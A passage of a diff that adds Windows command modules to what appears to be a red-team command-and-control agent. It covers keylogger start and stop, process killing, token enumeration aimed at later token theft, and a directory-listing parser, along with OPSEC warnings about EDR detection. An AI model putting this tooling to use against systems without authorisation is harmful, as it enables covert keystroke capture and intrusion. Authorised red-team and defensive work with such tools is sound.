message += " • Use screenshot-based credential capture\n\n"
|
||||
message += "⚠️ WARNING: This command is highly detectable and should only be used\n"
|
||||
message += "in controlled environments or with explicit authorization."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=True, # Always block keyloggers
|
||||
OpsecPreBypassRole="lead", # Only lead can approve
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
message = "🚨 OPSEC POST-CHECK - Keylogger Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Keyboard Hook: Low-level keyboard hook installation\n"
|
||||
message += " • API Hooking: SetWindowsHookEx/UnhookWindowsHookEx calls\n"
|
||||
message += " • Process Behavior: Continuous keyboard monitoring\n"
|
||||
message += " • Network Activity: Keylog data transmission\n"
|
||||
message += " • Memory Artifacts: Keylogger code in memory\n\n"
|
||||
message += "These artifacts are detected with HIGH CONFIDENCE by:\n"
|
||||
message += " • EDR/XDR behavioral detection (99%+ detection rate)\n"
|
||||
message += " • Anti-malware signature and heuristic detection\n"
|
||||
message += " • Memory scanning tools\n"
|
||||
message += " • API hooking detection mechanisms\n"
|
||||
message += " • User activity monitoring systems\n\n"
|
||||
message += "⚠️ CRITICAL WARNINGS:\n"
|
||||
message += " • Detection is likely within minutes or hours\n"
|
||||
message += " • May result in immediate agent termination\n"
|
||||
message += " • May trigger full incident response\n"
|
||||
message += " • Legal and compliance risks\n\n"
|
||||
message += "⚠️ This is one of the most detectable operations in red teaming.\n"
|
||||
message += "Use with extreme caution and only when absolutely necessary."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=True, # Block even in post
|
||||
OpsecPostBypassRole="lead", # Only lead can approve
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
resp = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
|
||||
resp.DisplayParams = "Start keylogger"
|
||||
return resp
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
return PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
@@ -0,0 +1,33 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class KeylogStopArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
pass
|
||||
|
||||
|
||||
class KeylogStopCommand(CommandBase):
|
||||
cmd = "keylog_stop"
|
||||
needs_admin = False
|
||||
help_cmd = "keylog_stop"
|
||||
description = "Stop the active keyboard logger and remove the keyboard hooks. This command safely terminates keylogging operations and cleans up the hooking mechanisms. Use this command when keylogging is no longer needed to reduce detection risk and free system resources."
|
||||
version = 1
|
||||
author = "@KaseyaOFSTeam"
|
||||
argument_class = KeylogStopArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows],
|
||||
suggested_command=False,
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
resp = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
|
||||
resp.DisplayParams = "Stop keylogger"
|
||||
return resp
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
return PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
@@ -0,0 +1,216 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class KillArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="pid",
|
||||
type=ParameterType.Number,
|
||||
description="Process ID to kill",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True,
|
||||
ui_position=1
|
||||
)]
|
||||
),
|
||||
# Process Browser parameters (optional, passed automatically by Mythic)
|
||||
CommandParameter(
|
||||
name="host",
|
||||
type=ParameterType.String,
|
||||
description="Host name (from Process Browser)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=2
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="process_id",
|
||||
type=ParameterType.Number,
|
||||
description="Process ID (from Process Browser, takes precedence over pid)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=3
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="architecture",
|
||||
type=ParameterType.String,
|
||||
description="Process architecture (from Process Browser)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=4
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
# Check if process_id is provided (from Process Browser)
|
||||
if not self.get_arg("process_id") and not self.get_arg("pid"):
|
||||
raise ValueError("Must supply a PID")
|
||||
else:
|
||||
try:
|
||||
self.add_arg("pid", int(self.command_line))
|
||||
except ValueError:
|
||||
raise ValueError("PID must be a number")
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
# If process_id is provided (from Process Browser), use it instead of pid
|
||||
if self.get_arg("process_id") and not self.get_arg("pid"):
|
||||
self.add_arg("pid", self.get_arg("process_id"))
|
||||
|
||||
|
||||
class KillCommand(CommandBase):
|
||||
cmd = "kill"
|
||||
needs_admin = False
|
||||
help_cmd = "kill <pid>"
|
||||
description = "Terminate a process by its Process ID (PID). The process is immediately terminated using TerminateProcess API. Compatible with Mythic Process Browser for interactive process termination. Automatically removes the killed process from the Process Browser view. WARNING: Critical system processes (PID 0, 4, 8) are blocked from termination to prevent system instability. Creates a 'Process Termination' artifact for tracking."
|
||||
version = 1
|
||||
author = "@KaseyaOFSTeam"
|
||||
attackmapping = ["T1489"]
|
||||
supported_ui_features = ["process_browser:kill"]
|
||||
argument_class = KillArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about process termination risks, especially for critical processes.
|
||||
"""
|
||||
pid = taskData.args.get_arg("pid") or taskData.args.get_arg("process_id")
|
||||
|
||||
# Critical system processes that should NEVER be killed
|
||||
critical_pids = {
|
||||
0: "Idle Process - Cannot be killed",
|
||||
4: "System Process - Critical system process, NEVER kill",
|
||||
8: "Memory Compression - Critical system process",
|
||||
}
|
||||
|
||||
blocked = False
|
||||
critical_warning = ""
|
||||
|
||||
if pid:
|
||||
pid_int = int(pid) if pid and str(pid).isdigit() else None
|
||||
if pid_int in critical_pids:
|
||||
critical_warning = f"🚨 CRITICAL: {critical_pids[pid_int]}\n⚠️ WARNING: Killing this process may cause system instability or crash!\n\n"
|
||||
blocked = True
|
||||
|
||||
message = "⚠️ OPSEC RISK - Process Termination Detected\n\n"
|
||||
message += "Process termination is monitored by:\n"
|
||||
message += " • EDR/XDR solutions\n"
|
||||
message += " • Process monitoring tools\n"
|
||||
message += " • Security auditing systems\n"
|
||||
message += " • Endpoint protection platforms\n\n"
|
||||
|
||||
if pid:
|
||||
message += f"Target Process ID: {pid}\n"
|
||||
if critical_warning:
|
||||
message += critical_warning
|
||||
message += "\n"
|
||||
|
||||
message += "🔍 DETECTION MECHANISMS:\n"
|
||||
message += " • TerminateProcess API calls\n"
|
||||
message += " • Process termination events\n"
|
||||
message += " • Suspicious process killing patterns\n"
|
||||
message += " • Termination of security processes\n\n"
|
||||
message += "💡 RECOMMENDATIONS:\n"
|
||||
message += " • Verify the process is not critical using Process Browser\n"
|
||||
message += " • Ensure you understand the impact before proceeding\n"
|
||||
message += " • Check if process is a security tool (EDR, AV) - may trigger immediate alerts\n\n"
|
||||
|
||||
if blocked:
|
||||
message += "⚠️ TO PROCEED: You need approval from another operator.\n"
|
||||
message += "This command is blocked due to targeting a critical system process."
|
||||
else:
|
||||
message += "⚠️ WARNING: Killing security processes may trigger immediate alerts!\n"
|
||||
message += "This is a WARNING only - command will proceed."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=blocked,
|
||||
OpsecPreBypassRole="other_operator" if blocked else "operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
pid = taskData.args.get_arg("pid") or taskData.args.get_arg("process_id")
|
||||
|
||||
message = "⚠️ OPSEC POST-CHECK - Process Termination Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Process Termination: TerminateProcess API call\n"
|
||||
message += " • Process Access: OpenProcess with PROCESS_TERMINATE\n"
|
||||
message += " • Event Log: Process termination event (if logging enabled)\n\n"
|
||||
|
||||
if pid:
|
||||
message += f"Target Process ID: {pid}\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR behavioral detection\n"
|
||||
message += " • Windows Event Logging (if enabled)\n"
|
||||
message += " • Process monitoring tools\n"
|
||||
message += " • Security information systems\n\n"
|
||||
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
|
||||
message += " • Target is a security process (EDR, AV)\n"
|
||||
message += " • Target is a critical system process\n"
|
||||
message += " • Multiple processes are terminated rapidly\n"
|
||||
message += " • Process is a protected service\n\n"
|
||||
message += "✅ This is a WARNING only - task will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
pid = taskData.args.get_arg("pid")
|
||||
if pid:
|
||||
response.DisplayParams = f"Killing process PID: {pid}"
|
||||
else:
|
||||
response.DisplayParams = "Killing process (no PID specified)"
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
|
||||
# Check if kill was successful by checking user_output
|
||||
if response:
|
||||
user_output = response.get("user_output", "")
|
||||
# Check if output indicates success (doesn't contain error indicators)
|
||||
if user_output and not any(err in user_output.lower() for err in ["error", "no se pudo", "falló", "failed"]):
|
||||
# Get the PID that was killed
|
||||
pid = task.args.get_arg("pid") or task.args.get_arg("process_id")
|
||||
if pid:
|
||||
# Get hostname
|
||||
host = task.Callback.Host if task.Callback else ""
|
||||
|
||||
# Add removed_processes array to response (similar to removed_files for file browser)
|
||||
# This tells Mythic Process Browser to remove this process from the cache
|
||||
resp.ProcessResponse = response if isinstance(response, dict) else {}
|
||||
if "removed_processes" not in resp.ProcessResponse:
|
||||
resp.ProcessResponse["removed_processes"] = []
|
||||
resp.ProcessResponse["removed_processes"].append({
|
||||
"host": host,
|
||||
"process_id": int(pid)
|
||||
})
|
||||
logging.info(f"[PROCESS_BROWSER] Marked process PID {pid} as removed in Process Browser")
|
||||
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,144 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class ListTokensArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
# Process Browser parameters (optional, passed automatically by Mythic)
|
||||
CommandParameter(
|
||||
name="host",
|
||||
type=ParameterType.String,
|
||||
description="Host name (from Process Browser)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=1
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="process_id",
|
||||
type=ParameterType.Number,
|
||||
description="Process ID to list tokens from (from Process Browser)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=2
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="architecture",
|
||||
type=ParameterType.String,
|
||||
description="Process architecture (from Process Browser)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=3
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
pass
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class ListTokensCommand(CommandBase):
|
||||
cmd = "list_tokens"
|
||||
needs_admin = False
|
||||
help_cmd = "list_tokens"
|
||||
description = "Enumerate and list all available security tokens from running processes on the target system. Shows detailed token information including user context, privileges, and groups for each process. Compatible with Mythic Process Browser for interactive token enumeration. Useful for reconnaissance to identify high-value tokens before attempting token theft. Lower detection risk than token theft operations, but token enumeration may still be logged by security tools."
|
||||
version = 1
|
||||
author = "@KaseyaOFSTeam"
|
||||
supported_ui_features = ["process_browser:list_tokens"]
|
||||
argument_class = ListTokensArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about token enumeration risks.
|
||||
"""
|
||||
pid = taskData.args.get_arg("process_id")
|
||||
|
||||
message = "⚠️ OPSEC WARNING - Token Enumeration Detected\n\n"
|
||||
message += "Token enumeration is monitored by:\n"
|
||||
message += " • EDR/XDR solutions (behavioral detection)\n"
|
||||
message += " • Process monitoring tools\n"
|
||||
message += " • Security auditing systems\n\n"
|
||||
|
||||
if pid:
|
||||
message += f"Target Process ID: {pid}\n\n"
|
||||
|
||||
message += "🔍 DETECTION MECHANISMS:\n"
|
||||
message += " • Token enumeration API calls\n"
|
||||
message += " • Process access for token queries\n"
|
||||
message += " • Suspicious enumeration patterns\n"
|
||||
message += " • Security event logging (if enabled)\n\n"
|
||||
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • Enumerating tokens from processes may be logged\n"
|
||||
message += " • Accessing sensitive processes (LSASS) is monitored\n"
|
||||
message += " • Lower detection risk than token theft\n"
|
||||
message += " • Useful for reconnaissance before token operations\n\n"
|
||||
|
||||
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False,
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
pid = taskData.args.get_arg("process_id")
|
||||
|
||||
message = "⚠️ OPSEC POST-CHECK - Token Enumeration Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Process Access: OpenProcess for token queries\n"
|
||||
message += " • Token Enumeration: Token enumeration API calls\n"
|
||||
message += " • Process Information: Token details retrieved\n\n"
|
||||
|
||||
if pid:
|
||||
message += f"Target Process ID: {pid}\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR behavioral detection (low-moderate confidence)\n"
|
||||
message += " • Process access monitoring\n"
|
||||
message += " • Security event logging (if enabled)\n\n"
|
||||
message += "⚠️ DETECTION PROBABILITY:\n"
|
||||
message += " • Lower than token theft operations\n"
|
||||
message += " • Process access may be logged\n"
|
||||
message += " • Enumeration patterns may be detected\n\n"
|
||||
message += "✅ This is a WARNING only - task will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
response.DisplayParams = "Listing all available tokens..."
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,338 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import re
|
||||
import string, json
|
||||
import os
|
||||
from datetime import datetime
|
||||
|
||||
import logging
|
||||
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
|
||||
class LsArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="path",
|
||||
type=ParameterType.String,
|
||||
description="Path del fichero o de la carpeta del sistema",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
# Check if it's JSON from File Browser
|
||||
if self.command_line[0] == '{':
|
||||
try:
|
||||
temp_json = json.loads(self.command_line)
|
||||
if 'host' in temp_json:
|
||||
# File Browser format: combine path + file
|
||||
full_path = temp_json.get('full_path', '')
|
||||
if full_path:
|
||||
self.add_arg("path", full_path)
|
||||
else:
|
||||
path = temp_json.get('path', '')
|
||||
file = temp_json.get('file', '')
|
||||
if path and file:
|
||||
# Normalize path separators
|
||||
if not path.endswith('\\') and not path.endswith('/'):
|
||||
path = path + "\\"
|
||||
self.add_arg("path", path + file)
|
||||
elif path:
|
||||
self.add_arg("path", path)
|
||||
else:
|
||||
self.add_arg("path", ".\\*")
|
||||
self.add_arg("host", temp_json.get('host', ''))
|
||||
self.add_arg("file_browser", "true")
|
||||
return
|
||||
except:
|
||||
pass
|
||||
# Regular command line usage
|
||||
self.add_arg("path", self.command_line)
|
||||
self.add_arg("host", "")
|
||||
self.add_arg("file_browser", "false")
|
||||
else:
|
||||
# No arguments, list current directory
|
||||
self.add_arg("path", ".\\*")
|
||||
self.add_arg("host", "")
|
||||
self.add_arg("file_browser", "false")
|
||||
|
||||
async def parse_dictionary(self, dictionary):
|
||||
logging.info(f"Parse Dictionary - {dictionary}")
|
||||
if "host" in dictionary:
|
||||
# File Browser format
|
||||
logging.info(f"Command came from File Browser UI - {dictionary}")
|
||||
full_path = dictionary.get('full_path', '')
|
||||
if full_path:
|
||||
self.add_arg("path", full_path)
|
||||
else:
|
||||
path = dictionary.get("path", '')
|
||||
file = dictionary.get("file", '')
|
||||
if path and file:
|
||||
if not path.endswith('\\') and not path.endswith('/'):
|
||||
path = path + "\\"
|
||||
self.add_arg("path", path + file)
|
||||
elif path:
|
||||
self.add_arg("path", path)
|
||||
else:
|
||||
self.add_arg("path", ".\\*")
|
||||
self.add_arg("host", dictionary.get("host", ""))
|
||||
self.add_arg("file_browser", "true")
|
||||
else:
|
||||
# Command line usage
|
||||
logging.info(f"Command came from CMDLINE - {dictionary}")
|
||||
arg_path = dictionary.get("path")
|
||||
if arg_path:
|
||||
self.add_arg("path", arg_path)
|
||||
else:
|
||||
self.add_arg("path", ".\\*")
|
||||
self.add_arg("host", "")
|
||||
self.add_arg("file_browser", "false")
|
||||
|
||||
self.load_args_from_dictionary(dictionary)
|
||||
|
||||
class LsCommand(CommandBase):
|
||||
cmd = "ls"
|
||||
needs_admin = False
|
||||
help_cmd = "ls [path]"
|
||||
description = "List directory contents with detailed file information including type (File/Directory), size, modification date, and name. Supports wildcards (e.g., 'ls C:\\Windows\\*.exe'). If no path is specified, lists the current working directory. Compatible with Mythic File Browser for interactive file management."
|
||||
version = 1
|
||||
supported_ui_features = ["file_browser:list"]
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = ["T1106", "T1083"]
|
||||
argument_class = LsArguments
|
||||
browser_script = BrowserScript(
|
||||
script_name="ls", author="Kaseya OFSTeam", for_new_ui=True
|
||||
)
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
# task.display_params = task.args.get_arg("command")
|
||||
# return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
|
||||
path = taskData.args.get_arg("path")
|
||||
logging.info(f"create_go_tasking - path : {path}")
|
||||
response.DisplayParams = path
|
||||
|
||||
#
|
||||
if uncmatch := re.match(r"^\\\\(?P<host>[^\\]+)\\(?P<path>.*)$", path):
|
||||
taskData.args.add_arg("host", uncmatch.group("host"))
|
||||
taskData.args.set_arg("path", uncmatch.group("path"))
|
||||
else:
|
||||
# Set the host argument to an empty string if it does not exist
|
||||
taskData.args.add_arg("host", "")
|
||||
if host := taskData.args.get_arg("host"):
|
||||
host = host.upper()
|
||||
|
||||
# Resolve 'localhost' and '127.0.0.1' aliases
|
||||
if host == "127.0.0.1" or host.lower() == "localhost":
|
||||
host = taskData.Callback.Host
|
||||
|
||||
taskData.args.set_arg("host", host)
|
||||
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
|
||||
# Log that process_response was called
|
||||
logging.info(f"[FILE_BROWSER] process_response called for task {task.Task.ID}")
|
||||
logging.info(f"[FILE_BROWSER] response type: {type(response)}")
|
||||
if response:
|
||||
logging.info(f"[FILE_BROWSER] response keys: {list(response.keys()) if isinstance(response, dict) else 'not a dict'}")
|
||||
|
||||
# Check if this was from File Browser
|
||||
is_file_browser = task.args.get_arg("file_browser") == "true"
|
||||
logging.info(f"[FILE_BROWSER] is_file_browser={is_file_browser}")
|
||||
|
||||
# Check if translator already parsed file_browser format
|
||||
# The translator automatically detects and parses File Browser format,
|
||||
# so we only need to enhance it with host info if needed
|
||||
if isinstance(response, dict) and "file_browser" in response:
|
||||
logging.info(f"[FILE_BROWSER] Translator already parsed file_browser, just adding host if missing")
|
||||
file_browser_data = response.get("file_browser")
|
||||
if file_browser_data and not file_browser_data.get("host"):
|
||||
host = task.args.get_arg("host") or ""
|
||||
if not host and task.Callback:
|
||||
host = task.Callback.Host
|
||||
file_browser_data["host"] = host
|
||||
resp.ProcessResponse = response
|
||||
return resp
|
||||
|
||||
# Only parse if translator didn't already do it (fallback for non-File Browser commands)
|
||||
if is_file_browser and response:
|
||||
try:
|
||||
# Agent output format:
|
||||
# Line 1: directory path
|
||||
# Lines 2+: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
|
||||
|
||||
output_text = response.get("user_output", "")
|
||||
if not output_text:
|
||||
return resp
|
||||
|
||||
lines = [l.strip() for l in output_text.strip().split('\n') if l.strip()]
|
||||
if len(lines) < 1:
|
||||
logging.warning("[FILE_BROWSER] No lines in output")
|
||||
return resp
|
||||
|
||||
logging.info(f"[FILE_BROWSER] Parsing {len(lines)} lines from output")
|
||||
logging.info(f"[FILE_BROWSER] First few lines: {lines[:3]}")
|
||||
|
||||
# First line is the directory path being listed
|
||||
dir_path = lines[0].strip()
|
||||
|
||||
# Normalize path
|
||||
if dir_path.endswith('\\*'):
|
||||
dir_path = dir_path[:-2]
|
||||
if dir_path.endswith('*'):
|
||||
dir_path = dir_path[:-1]
|
||||
dir_path = dir_path.rstrip('\\/')
|
||||
|
||||
# Determine parent path
|
||||
if dir_path.endswith(':\\') or dir_path == '':
|
||||
parent_path = ""
|
||||
else:
|
||||
parent_path = os.path.dirname(dir_path) if os.path.dirname(dir_path) else ""
|
||||
|
||||
# Get hostname
|
||||
host = task.args.get_arg("host") or ""
|
||||
if not host:
|
||||
host = task.Callback.Host if task.Callback else ""
|
||||
|
||||
# Determine if the listed item is a file or directory
|
||||
# Since we're listing a directory, it's typically not a file
|
||||
is_file = False
|
||||
name = os.path.basename(dir_path) if dir_path else ""
|
||||
if not name:
|
||||
# Root directory case (e.g., C:\)
|
||||
if len(dir_path) == 2 and dir_path[1] == ':':
|
||||
name = dir_path[0] + ':'
|
||||
parent_path = ""
|
||||
else:
|
||||
name = dir_path
|
||||
|
||||
# Parse file/directory entries
|
||||
# Format: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
|
||||
files = []
|
||||
for i, line in enumerate(lines[1:], 1): # Start from line 1 (skip path line)
|
||||
parts = line.split('\t')
|
||||
logging.debug(f"[FILE_BROWSER] Line {i}: {line[:100]}... (parts: {len(parts)})")
|
||||
if len(parts) >= 4:
|
||||
file_type = parts[0].strip() # D or F
|
||||
size_str = parts[1].strip()
|
||||
datetime_str = parts[2].strip() # MM/DD/YYYY HH:MM:SS (already combined)
|
||||
file_name = parts[3].strip() if len(parts) > 3 else ""
|
||||
|
||||
# Skip empty lines or invalid entries
|
||||
if not file_type or not file_name:
|
||||
continue
|
||||
|
||||
# Skip . and ..
|
||||
if file_name in ['.', '..']:
|
||||
continue
|
||||
|
||||
try:
|
||||
# Parse date: MM/DD/YYYY HH:MM:SS
|
||||
date_obj = datetime.strptime(datetime_str, "%m/%d/%Y %H:%M:%S")
|
||||
modify_time_ms = int(date_obj.timestamp() * 1000)
|
||||
# Use modify_time as access_time (agent doesn't provide separate access time)
|
||||
access_time_ms = modify_time_ms
|
||||
|
||||
# Filter out invalid dates (before 1980 or after year 2100)
|
||||
# This helps filter out files with corrupted timestamps (e.g., 1970 epoch issues)
|
||||
if modify_time_ms < 315532800000 or modify_time_ms > 4102444800000: # Before 1980-01-01 or after 2100-01-01
|
||||
logging.warning(f"[FILE_BROWSER] Skipping file with invalid date: {file_name} (timestamp: {modify_time_ms}, date: {datetime_str})")
|
||||
continue
|
||||
except Exception as date_err:
|
||||
logging.warning(f"Could not parse date '{datetime_str}': {date_err}")
|
||||
# Skip files with unparseable dates
|
||||
continue
|
||||
|
||||
try:
|
||||
# Parse size - remove any text like "b" or "by" at the end
|
||||
size_str_clean = re.sub(r'[^\d]', '', size_str) # Remove all non-digits
|
||||
if size_str_clean:
|
||||
size = int(size_str_clean) if file_type == 'F' else 0
|
||||
else:
|
||||
size = 0
|
||||
except Exception as size_err:
|
||||
logging.warning(f"Could not parse size '{size_str}': {size_err}")
|
||||
size = 0
|
||||
|
||||
# Get file attributes as permissions (Windows specific)
|
||||
permissions = {
|
||||
"attributes": "DIRECTORY" if file_type == 'D' else "FILE"
|
||||
}
|
||||
|
||||
# Skip files with invalid names or empty names
|
||||
if file_name and file_name.strip() and file_name not in ['.', '..']:
|
||||
files.append({
|
||||
"is_file": file_type == 'F',
|
||||
"permissions": permissions,
|
||||
"name": file_name,
|
||||
"access_time": access_time_ms,
|
||||
"modify_time": modify_time_ms,
|
||||
"size": size
|
||||
})
|
||||
logging.debug(f"[FILE_BROWSER] Added: {file_name} ({'file' if file_type == 'F' else 'dir'}, size={size})")
|
||||
else:
|
||||
logging.warning(f"[FILE_BROWSER] Skipping line {i} - insufficient parts: {len(parts)}")
|
||||
|
||||
# Remove duplicates by name to ensure clean response
|
||||
seen_files = {}
|
||||
unique_files = []
|
||||
for f in files:
|
||||
file_name = f.get("name", "")
|
||||
# Only add if we haven't seen this file name before
|
||||
if file_name and file_name not in seen_files:
|
||||
seen_files[file_name] = True
|
||||
unique_files.append(f)
|
||||
|
||||
# Use current timestamp for modify_time to help Mythic identify fresh responses
|
||||
import time
|
||||
current_timestamp_ms = int(time.time() * 1000)
|
||||
|
||||
# Build file_browser response
|
||||
file_browser_data = {
|
||||
"host": host,
|
||||
"is_file": is_file,
|
||||
"permissions": {"attributes": "DIRECTORY"} if not is_file else {"attributes": "FILE"},
|
||||
"name": name,
|
||||
"parent_path": parent_path,
|
||||
"success": True,
|
||||
